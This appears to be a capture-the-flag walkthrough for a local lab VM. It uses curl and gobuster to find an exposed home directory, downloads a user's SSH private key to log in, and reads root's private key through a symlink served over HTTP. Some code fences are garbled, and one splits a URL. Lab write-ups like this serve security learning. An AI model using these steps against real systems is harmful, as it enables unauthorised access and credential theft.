Check 65530 http.

 ~ curl http://192.168.56.100:65530

Try /index.

 ~ curl http://192.168.56.100:65530/index
 Hi, You are close!

Scan dirs. Because too many fake response, we omit file extensions.

```bash
~ gobuster dir -u http://192.168.56.100:65530 -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 401,403,404,500 --wildcard -o 65530.log
...

/nt4share (Status: 301) [Size: 45] [--> /nt4share/]

Notice the last /nt4sare. Check it.

 ```bash
~ curl http://192.168.56.100:65530/nt4share/
 <pre>
 <a href=".Xauthority">.Xauthority</a>
 <a href=".bash_history">.bash_history</a>
 <a href=".bash_logout">.bash_logout</a>
 <a href=".bashrc">.bashrc</a>
 <a href=".profile">.profile</a>
 <a href=".ssh/">.ssh/</a>
 <a href="linpeas.sh">linpeas.sh</a>
 <a href="pspy64">pspy64</a>
 </pre>

It's a user's home folder. From .bash_history, we get an user name "adela".

~ curl ht```bash
tp://192.168.56.100:65530/nt4share/.bash_history
...
ls -la /opt
find / -user adela 2>/dev/null

 ...

From /.ssh, we download id_rsa, and login ssh as user adela.

```bash
 ~ chmod 600 id_rsa
 ~ ssh adela@192.168.56.100 -i id_rsa
 ...
 adela@noob:~$ id
 uid=1000(adela) gid=1000(adela) groups=1000(adela),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plu
 gdev),109(netdev)

The last step is tricky. Enum a lot but still can not find the way to root.

Create a symbolic link to /root/.ssh/id_rsa, then read it through http.

adela@noob:~$ ln -s /root/.ssh/id_rsa /home/adela/
 ...
 ~ curl http://192.168.56.100:65530/nt4share/id_rsa
